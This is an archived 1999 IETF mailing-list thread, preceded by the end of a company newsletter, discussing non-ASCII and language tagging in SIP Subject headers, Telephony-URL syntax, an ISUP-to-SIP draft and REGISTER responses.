http://www.cabot.co.uk

----------------------------------------------------------------------
EuroMHEG-5 Development Partner Required
----------------------------------------------------------------------
Cabot Software has developed one of the world's best MHEG-5 
engines for set top boxes.

Cabot is now seeking a corporate technology or broadcast partner 
to enhance our MHEG-5 product to the EuroMHEG-5 version.

EuroMHEG-5 is destined to be adopted throughout the European 
terrestrial TV network, which includes the UK, Spain, Italy, 
The Netherlands etc.

Serious partners only contact Kenneth Helps 
<ken.helps@cabot.co.uk> for further information.

----------------------------------------------------------------------
HOT NEWS
----------------------------------------------------------------------
Cabot Software becomes Microsoft WINCE accredited.

Cabot has now been accredited as a Microsoft System Integrator 
for MS WINCE. 

Please contact Gordon Wilkie <gordon.wilkie@cabot.co.uk> if you 
have a development requirement for MS WINCE on a set top box.

----------------------------------------------------------------------
SUBSCRIPTION INFORMATION
----------------------------------------------------------------------
TO SUBSCRIBE
mailto:newsletter@cabot.co.uk putting the word 'SUBSCRIBE' 
in the subject line

TO UNSUBSCRIBE
REPLY to this newsletter putting 'UNSUBSCRIBE' in the 
subject line.

If you know someone else who would enjoy this newsletter 
please forward a copy to them so they can subscribe.

Cabot Software
----------------------------------------------------------------------

     sales@cabot.co.uk    http://www.cabot.co.uk  

 1-4 Portland Square, Bristol, BS2 8RR, England.
     Tel: +44 117 944 2454     Fax: +44 117 944 2457


From confctrl-owner  Thu Aug 26 08:16:38 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA24303
	for confctrl-outgoing; Thu, 26 Aug 1999 08:16:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA24298
	for <confctrl@zephyr.isi.edu>; Thu, 26 Aug 1999 08:16:36 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA19393
	for <confctrl@ISI.EDU>; Thu, 26 Aug 1999 08:16:35 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3u.ericy.com [208.238.116.100])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id KAA24476;
	Thu, 26 Aug 1999 10:16:04 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id KAA24677;
	Thu, 26 Aug 1999 10:16:02 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA02757; Thu, 26 Aug 1999 10:16:00 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id KAA11193;
	Thu, 26 Aug 1999 10:15:55 -0500 (CDT)
Message-Id: <199908261515.KAA11193@b04a24.exu.ericsson.se>
Subject: Re: How to indicate that the Subject: headers is non-English
To: scott.petrack@metatel.com (Scott Petrack)
Date: Thu, 26 Aug 1999 10:15:54 -0500 (CDT)
Cc: confctrl@ISI.EDU
In-Reply-To: <Pine.LNX.4.10.9908251839060.1363-100000@petrack.metatel.com> from "Scott Petrack" at Aug 25, 99 06:50:13 pm
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>I want to send a Subject header in Japanese, Cyrillic, unicode, etc.
>The other SIP request headers seem to me invariant, but I need a way to
>indicate the language. Can I use a Content-Language: header in a request?
>Is there some other mechanism?

I don't know whence it originates, but I've often seen a format
like:

=?<encoding-name>?Q?<header_text>?=

e.g. From: =?ISO-8859-1?Q?Bj=F6rn_Nilsson?= <bjorn.nilsson@domain.se> 

Can anyone identify the source of this syntax? Does it seems
like a good sort of thing to allow in SIP headers?

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Thu Aug 26 08:50:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA25772
	for confctrl-outgoing; Thu, 26 Aug 1999 08:50:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA25729
	for <confctrl@zephyr.isi.edu>; Thu, 26 Aug 1999 08:50:00 -0700 (PDT)
Received: from alpha.xerox.com (firewall-user@alpha.Xerox.COM [13.1.64.93])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA21954
	for <confctrl@isi.edu>; Thu, 26 Aug 1999 08:49:59 -0700 (PDT)
Received: from louise.parc.xerox.com ([13.2.118.28]) by alpha.xerox.com with SMTP id <52146(3)>; Thu, 26 Aug 1999 08:49:55 PDT
Received: from flicker ([13.2.116.149]) by louise.parc.xerox.com with SMTP id <357854>; Thu, 26 Aug 1999 08:49:48 PDT
From: "Dan Swinehart" <swinehart@parc.xerox.com>
To: "Adam B. Roach" <Adam.Roach@ericsson.com>,
        "Scott Petrack" <scott.petrack@metatel.com>
Cc: <confctrl@ISI.EDU>
Subject: RE: How to indicate that the Subject: headers is non-English
Date: Thu, 26 Aug 1999 08:49:47 PDT
Message-ID: <001501beefda$9fd889f0$9574020d@flicker.parc.xerox.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2120.0
Importance: Normal
In-Reply-to: <199908261515.KAA11193@b04a24.exu.ericsson.se>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I think you're looking for

RFC2047: MIME Part Three: Message Header Extensions for
Non-ASCII Text.

Dan Swinehart


From confctrl-owner  Thu Aug 26 10:20:18 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA29601
	for confctrl-outgoing; Thu, 26 Aug 1999 10:20:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA29596
	for <confctrl@zephyr.isi.edu>; Thu, 26 Aug 1999 10:20:17 -0700 (PDT)
Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA00430
	for <confctrl@isi.edu>; Thu, 26 Aug 1999 10:20:15 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id NAA17188;
	Thu, 26 Aug 1999 13:19:23 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id SAA11411;
	Thu, 26 Aug 1999 18:19:54 +0100 (BST)
Message-ID: <37C57759.49F624E9@hplb.hpl.hp.com>
Date: Thu, 26 Aug 1999 18:20:25 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
CC: confctrl <confctrl@ISI.EDU>, Scott Petrack <scott.petrack@metatel.com>
Subject: Re: How to indicate that the Subject: headers is non-English
References: <199908261515.KAA11193@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


"Adam B. Roach" wrote:
> 
> >I want to send a Subject header in Japanese, Cyrillic, unicode, etc.
> >The other SIP request headers seem to me invariant, but I need a way to
> >indicate the language. Can I use a Content-Language: header in a request?
> >Is there some other mechanism?
> 
> I don't know whence it originates, but I've often seen a format
> like:
> 
> =?<encoding-name>?Q?<header_text>?=
> 
> e.g. From: =?ISO-8859-1?Q?Bj=F6rn_Nilsson?= <bjorn.nilsson@domain.se>
> 
> Can anyone identify the source of this syntax? Does it seems
> like a good sort of thing to allow in SIP headers?

That would be MIME, more precisely RFC 2047: MIME Part Three: Message
Header Extensions for Non-ASCII Text.

However, this specifies the character set, so that it doesn't have to be
US-ASCII. This is not needed for SIP, as SIP messages are always UTF-8
encoded Unicode, and hence can include pretty much any characters.  I am
not really convinced about the need for an explicit indication of
language. Scott, can you give any details as to why you need this? Isn't
it sufficient to just render the characters?

Cheers,
Anders

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Thu Aug 26 12:52:21 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA06532
	for confctrl-outgoing; Thu, 26 Aug 1999 12:52:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA06527
	for <confctrl@zephyr.isi.edu>; Thu, 26 Aug 1999 12:52:19 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA16210
	for <confctrl@ISI.EDU>; Thu, 26 Aug 1999 12:52:18 -0700 (PDT)
Received: from ind.cs.columbia.edu (ind.cs.columbia.edu [128.59.19.27])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id PAA22003;
	Thu, 26 Aug 1999 15:52:17 -0400 (EDT)
Received: (from lennox@localhost)
	by ind.cs.columbia.edu (8.9.1/8.9.1) id PAA13553;
	Thu, 26 Aug 1999 15:52:17 -0400 (EDT)
Date: Thu, 26 Aug 1999 15:52:17 -0400 (EDT)
Message-Id: <199908261952.PAA13553@ind.cs.columbia.edu>
From: Jonathan Lennox <lennox@cs.columbia.edu>
To: Scott Petrack <scott.petrack@metatel.com>
Cc: confctrl@ISI.EDU
Subject: Re: How to indicate that the Subject: headers is non-English
In-Reply-To: <Pine.LNX.4.10.9908251839060.1363-100000@petrack.metatel.com>
References: <Pine.LNX.4.10.9908251839060.1363-100000@petrack.metatel.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Wed, August 25 1999, "Scott Petrack" wrote to "confctrl@ISI.EDU" saying:

> 
> I want to send a Subject header in Japanese, Cyrillic, unicode, etc.
> The other SIP request headers seem to me invariant, but I need a way to
> indicate the language. Can I use a Content-Language: header in a request?
> Is there some other mechanism?

According to RFC 2543:

        Subject  =  ( "Subject" | "s" ) ":" *TEXT-UTF8

Subject headers are always UTF-8 (RFC 2279, the US-ASCII-transparent
transformation of Unicode), so you can encode any language you like, except
possibly for questions of Han unification ambiguity (Chinese vs. Japanese
Kanji).  Is there any reason you'd need an encoding *other* than Unicode on
the wire?

Looking over the spec, all free-text strings in SIP (Subject, Organization,
display names, response reasons, etc.) are UTF-8.

I imagine this is a feature which should be tested at the next bakeoff,
since I don't think I've ever seen anyone use non-ASCII characters in SIP
messages.

-- 
Jonathan Lennox
lennox@cs.columbia.edu

From confctrl-owner  Thu Aug 26 16:43:52 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA15472
	for confctrl-outgoing; Thu, 26 Aug 1999 16:43:52 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA15467
	for <confctrl@zephyr.isi.edu>; Thu, 26 Aug 1999 16:43:50 -0700 (PDT)
Received: from renown.cnchost.com (renown.concentric.net [207.155.248.7])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA14079
	for <confctrl@isi.edu>; Thu, 26 Aug 1999 16:43:50 -0700 (PDT)
Received: from [192.168.10.5] (ts006d14.cht-ma.concentric.net [206.173.20.26])
	by renown.cnchost.com
	id TAA17284; Thu, 26 Aug 1999 19:43:43 -0400 (EDT)
	[ConcentricHost SMTP Relay 1.8]
Date: Thu, 26 Aug 1999 19:46:20 -0400 (EDT)
From: Scott Petrack <scott.petrack@metatel.com>
To: confctrl <confctrl@ISI.EDU>
Subject: Re: How to indicate that the Subject: headers is non-English
In-Reply-To: <37C57759.49F624E9@hplb.hpl.hp.com>
Message-ID: <Pine.LNX.4.10.9908261942230.738-100000@petrack.metatel.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Thanks to everyone for the pointers and answers.  I was actually asked
this by a customer. And you are right that I was asking about both 
character sets and language. I suppose if I were really clever I could
think up a good example. Something like:

Subject: Boot

where I need to say if I am writing German or English. But I personally
can certainly live with just rendering the characters.

Scott



On Thu, 26 Aug 1999, Anders Kristensen wrote:

> Scott, can you give any details as to why you need this? Isn't
> it sufficient to just render the characters?
> 
> Cheers,
> Anders
> 
> -- 
> Anders Kristensen <ak@hplb.hpl.hp.com>,
> http://www-uk.hpl.hp.com/people/ak/
> Hewlett-Packard Labs, Bristol, UK
> 


From confctrl-owner  Thu Aug 26 18:25:41 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA19128
	for confctrl-outgoing; Thu, 26 Aug 1999 18:25:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA19123
	for <confctrl@zephyr.isi.edu>; Thu, 26 Aug 1999 18:25:39 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA24386
	for <confctrl@ISI.EDU>; Thu, 26 Aug 1999 18:25:38 -0700 (PDT)
Received: from ind.cs.columbia.edu (ind.cs.columbia.edu [128.59.19.27])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id VAA20922;
	Thu, 26 Aug 1999 21:25:38 -0400 (EDT)
Received: (from lennox@localhost)
	by ind.cs.columbia.edu (8.9.1/8.9.1) id VAA13837;
	Thu, 26 Aug 1999 21:25:37 -0400 (EDT)
Date: Thu, 26 Aug 1999 21:25:37 -0400 (EDT)
Message-Id: <199908270125.VAA13837@ind.cs.columbia.edu>
From: Jonathan Lennox <lennox@cs.columbia.edu>
To: Scott Petrack <scott.petrack@metatel.com>
Cc: confctrl <confctrl@ISI.EDU>
Subject: Re: How to indicate that the Subject: headers is non-English
In-Reply-To: <Pine.LNX.4.10.9908261942230.738-100000@petrack.metatel.com>
References: <37C57759.49F624E9@hplb.hpl.hp.com>
	<Pine.LNX.4.10.9908261942230.738-100000@petrack.metatel.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Thu, August 26 1999, "Scott Petrack" wrote to "confctrl" saying:

> And you are right that I was asking about both 
> character sets and language. I suppose if I were really clever I could
> think up a good example. Something like:
> 
> Subject: Boot
> 
> where I need to say if I am writing German or English. But I personally
> can certainly live with just rendering the characters.

You could use the Unicode Plane 14 Language Tags
<http://www.unicode.org/unicode/reports/tr7.html>, if you really needed to.

-- 
Jonathan Lennox
lennox@cs.columbia.edu

From confctrl-owner  Thu Aug 26 23:53:36 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA00192
	for confctrl-outgoing; Thu, 26 Aug 1999 23:53:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA00186
	for <confctrl@zephyr.isi.edu>; Thu, 26 Aug 1999 23:53:35 -0700 (PDT)
Received: from fogerty.ericsson.fi (fogerty.ericsson.fi [131.160.11.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA13610
	for <confctrl@isi.edu>; Thu, 26 Aug 1999 23:53:33 -0700 (PDT)
Received: from lmf.lmf.ericsson.se ([131.160.11.2])
	by fogerty.ericsson.fi (8.9.3/8.9.3) with ESMTP id JAA04349
	for <confctrl@isi.edu>; Fri, 27 Aug 1999 09:53:16 +0300 (EET DST)
Received: from ericsson.com by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id JAA03841; Fri, 27 Aug 1999 09:52:59 +0300 (EET DST)
Message-ID: <37C635CE.F05F1CAB@ericsson.com>
Date: Fri, 27 Aug 1999 09:53:02 +0300
From: Miguel-Angel Garcia <Miguel.A.Garcia@ericsson.com>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.5.1 sun4m)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Re: ISUP - SIP draft
References: <37C3D73C.74D0897B@ericsson.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi:

The ID Gonzalo was refering to is now available in the IETF site.
See the information below.

A New Internet-Draft is available from the on-line Internet-Drafts directories.


        Title           : Best Current Practice for ISUP to SIP mapping
        Author(s)       : G. Camarillo
        Filename        : draft-camarillo-mmusic-sip-isup-bcp-00.txt
        Pages           : 13
        Date            : 25-Aug-99
        
This document describes a way to perform the mapping between two
signalling protocols: SIP and ISUP.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-camarillo-mmusic-sip-isup-bcp-00.txt

Regards, Miguel-Angel.

Gonzalo Camarillo wrote:
> 
> Hi,
> 
> This is a new draft about SIP-ISUP mapping.
> Comments are welcome.
> 
> Regards,
> 
> Gonzalo
> --
> Gonzalo Camarillo         Phone :  +358  9 299 33 71
> Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
> Telecom R&D               Fax   :  +358  9 299 31 18
> FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
> Finland

-- 
Miguel-Angel Garcia                     Oy LM Ericsson AB
Advanced Signalling Research Lab.       Jorvas, Finland
                                        Phone:  +358 9 299 3553
mailto:Miguel.A.Garcia@ericsson.com     Phone:  +34 91 339 2985 
mailto:Miguel.A.Garcia@es.zopps.com     Mobile: +358 40 5140002
Intranet: http://alvaro.ericsson.se/~ememaga

From confctrl-owner  Fri Aug 27 06:10:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA11347
	for confctrl-outgoing; Fri, 27 Aug 1999 06:10:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA11341
	for <confctrl@zephyr.isi.edu>; Fri, 27 Aug 1999 06:10:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA25958
	for <confctrl@isi.edu>; Fri, 27 Aug 1999 06:10:01 -0700 (PDT)
Received: from bronx.dnrc.bell-labs.com ([135.180.160.8]) by dirty; Fri Aug 27 09:09:56 EDT 1999
Received: from cs.columbia.edu (ume [135.180.240.103])
	by bronx.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id JAA11889;
	Fri, 27 Aug 1999 09:09:58 -0400 (EDT)
Message-ID: <37C68E24.3EB883F3@cs.columbia.edu>
Date: Fri, 27 Aug 1999 09:09:56 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.05 [en] (WinNT; U)
MIME-Version: 1.0
To: Jonathan Lennox <lennox@ober.cs.columbia.edu>
CC: Scott Petrack <scott.petrack@metatel.com>, confctrl <confctrl@ISI.EDU>
Subject: Re: How to indicate that the Subject: headers is non-English
References: <37C57759.49F624E9@hplb.hpl.hp.com>
		<Pine.LNX.4.10.9908261942230.738-100000@petrack.metatel.com> <199908270125.VAA13837@ind.cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

See RFC 2482.

From confctrl-owner  Fri Aug 27 12:29:35 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA25104
	for confctrl-outgoing; Fri, 27 Aug 1999 12:29:35 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA25099
	for <confctrl@zephyr.isi.edu>; Fri, 27 Aug 1999 12:29:33 -0700 (PDT)
Received: from cundall.co.uk (dorfl.cundall.co.uk [193.118.192.45] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA01792
	for <confctrl@ISI.EDU>; Fri, 27 Aug 1999 12:29:32 -0700 (PDT)
Received: from [193.118.192.55] by cundall.co.uk
 with SMTP (Eudora Internet Mail Server 1.3.1); Fri, 27 Aug 1999 20:28:58 +0100
X-Sender: lwc@derek.roke.co.uk (Unverified)
Message-Id: <v02140b00b3ec9627cf42@[193.118.192.55]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 27 Aug 1999 20:28:32 +0100
To: pint@lists.research.bell-labs.com
From: lwc@roke.co.uk (Lawrence Conroy)
Subject: Comments on Telephony-URL draft
Cc: confctrl@ISI.EDU, antti.vaha-sipila@nokia.com
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In answer to the request for comments on the Telephony-URL final call,
herewith::

Generally, it's an excellent piece of work. Many thanks to Antti!

Specifically, there are a couple of bits that I would like to be changed
slightly to align with what we have already in PINT - I think these changes
will help to expand the Telephony-URL into something that can specify
pretty much any kind of telephone address.

*    The name "Area Specifier" and it's tag 'area'.
Please can we change these to something different?
It has caused confusion with the term 'area codes' used in North America,
when it it much more flexible in scope.

My vote's for "phone-context", as we use this neutral term in the PINT
draft already (and it means I don't have to go through and change them all
:).

*    Area-specifier allowed values;
In PINT we have two options not covered in the Telephony-URL draft. These
are local-context and private-context.

(i) Local Context
In those cases where there is an implicit "enclosing context" that is known
to both the sender and recipient of a Telephony-URL, then the value of the
area-specifier may usefully discard this enclosing context. If this is done
then the area-specifier holds a local number form (rather than the fully
qualified value). This could be useful where the recipient is connected to
a private network, and the phone-context could indicate, for example, the
PBX number. An E.164 number form would be inappropriate in this case (IMHO)
as a context.

(ii) Private Context
An alternative is also allowed in the PINT draft, and could usefully be
added to the Telephony-URL draft; this is the concept of 'private
contexts'.
I'm not completely happy with the name private context (contributions
gratefully received :), but the aim is to allow whatever characters are
needed as a context in this case.

In the PINT draft we suggested that such a context should start with an
x-token, and MUST start with a character that is neither a digit nor a '+'
so that it can be deleniated from either a global of local "public"
context.

This could be particularly useful in indicating, for example, one of a
number of private number plans; in this case, the x-token could indicate in
text form the name of the private number plan (e.g. X-IBM-vnet).

*    The syntax proposed for future-extension may have an implication on
the users of Telephony-URLs (such as SIP). The form suggested seems pretty
flexible, but is a tad more restrictive than that proposed in RFC2543.
Seems OK to me - comments from anyone else?

----------------------
In summary...
The collected BNF covering these is as follows, (and would replace the BNF
for area-specifier shown in the current Telephony-URL draft).

area-specifier = phone-context-tag "=" phone-context-ident
phone-context-tag = "phone-context"
phone-context-ident = network-prefix / private-prefix
network-prefix = intl-network-prefix / local-network-prefix
intl-network-prefix = "+" 1*<DIGIT>
local-network-prefix = 1*<DIGIT>
private-prefix = 1*excldigandplus 0*<uric>
excldigandplus = (0x21-0x2d,0x2f,0x40-0x7d)

(I'd like to keep the 'phone-context-tag' intermediate token if possible,
as we use it in the PINT BNF and it would mean we don't have to keep the
documents synchronised by cutting and pasting).


All the best, Lawrence
-----------------------------------------------------------------------
| Lawrence Conroy,    | "These Opinions must be mine, 'cos if they    |
| Roke Manor Research |  were my Company's they'd charge you for them"|
|- lwc@roke.co.uk  ---+- Tel: +44 1794 833666  Fax: +44 1794 833434 --|



From confctrl-owner  Sun Aug 29 21:52:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA12659
	for confctrl-outgoing; Sun, 29 Aug 1999 21:52:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA12654
	for <confctrl@zephyr.isi.edu>; Sun, 29 Aug 1999 21:52:02 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id VAA10890
	for <confctrl@isi.edu>; Sun, 29 Aug 1999 21:52:01 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Mon Aug 30 00:50:01 EDT 1999
Received: from bell-labs.com (IDENT:jdrosen@[135.17.253.83])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id AAA18800;
	Mon, 30 Aug 1999 00:50:00 -0400 (EDT)
Message-ID: <37CA0DC8.C4F05386@bell-labs.com>
Date: Mon, 30 Aug 1999 00:51:20 -0400
From: Jonathan Rosenberg <jdrosen@bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: I B <imortada@hotmail.com>
CC: confctrl@ISI.EDU
Subject: Re: respose to register
References: <19990824192723.87012.qmail@hotmail.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Yes. REGISTER always requires a response, independent of any headers.

-Jonathan R.

I B wrote:
> 
> hello,
> 
> does the register request with expires 0 ( unregister) need an reponse 200
> OK.
> 
> thanks
> 
> ______________________________________________________
> Get Your Private, Free Email at http://www.hotmail.com

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Aug 30 07:56:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA01848
	for confctrl-outgoing; Mon, 30 Aug 1999 07:56:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA01843
	for <confctrl@zephyr.isi.edu>; Mon, 30 Aug 1999 07:56:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA02267
	for <confctrl@isi.edu>; Mon, 30 Aug 1999 07:56:02 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Mon Aug 30 10:55:40 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id KAA03010;
	Mon, 30 Aug 1999 10:55:38 -0400 (EDT)
Message-ID: <37CA9B72.168DDFBC@dnrc.bell-labs.com>
Date: Mon, 30 Aug 1999 10:55:46 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Scott Petrack <scott.petrack@metatel.com>
CC: confctrl <confctrl@ISI.EDU>
Subject: Re: How to indicate that the Subject: headers is non-English
References: <Pine.LNX.4.10.9908261942230.738-100000@petrack.metatel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

How would the application know what language was being written anyway?
Would I have to select "Spanish" before saying that the subject of the
call is "Una fiesta"? What happens if the subject contains a mix of
words from different languages (very common)? In any case, I'm not sure
what the receiving side would do with this information. 

So, I think the right thing to do is just render them as sent, and not
worry about what language its actually in.

Its worth noting that supporting UTF-8 is pretty much a freebie in
proxy/redirect/registrar servers, since they don't need to render or
parse any text that is allowed to be UTF-8. A UTF-8 string with
non-ASCII characters is still an array of null terminated bytes, so your
normal strcmp, strcpy, and so on, will still work fine.

-Jonathan R.

Scott Petrack wrote:
> 
> Thanks to everyone for the pointers and answers.  I was actually asked
> this by a customer. And you are right that I was asking about both
> character sets and language. I suppose if I were really clever I could
> think up a good example. Something like:
> 
> Subject: Boot
> 
> where I need to say if I am writing German or English. But I personally
> can certainly live with just rendering the characters.
> 
> Scott
> 
> On Thu, 26 Aug 1999, Anders Kristensen wrote:
> 
> > Scott, can you give any details as to why you need this? Isn't
> > it sufficient to just render the characters?
> >
> > Cheers,
> > Anders
> >
> > --
> > Anders Kristensen <ak@hplb.hpl.hp.com>,
> > http://www-uk.hpl.hp.com/people/ak/
> > Hewlett-Packard Labs, Bristol, UK
> >

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
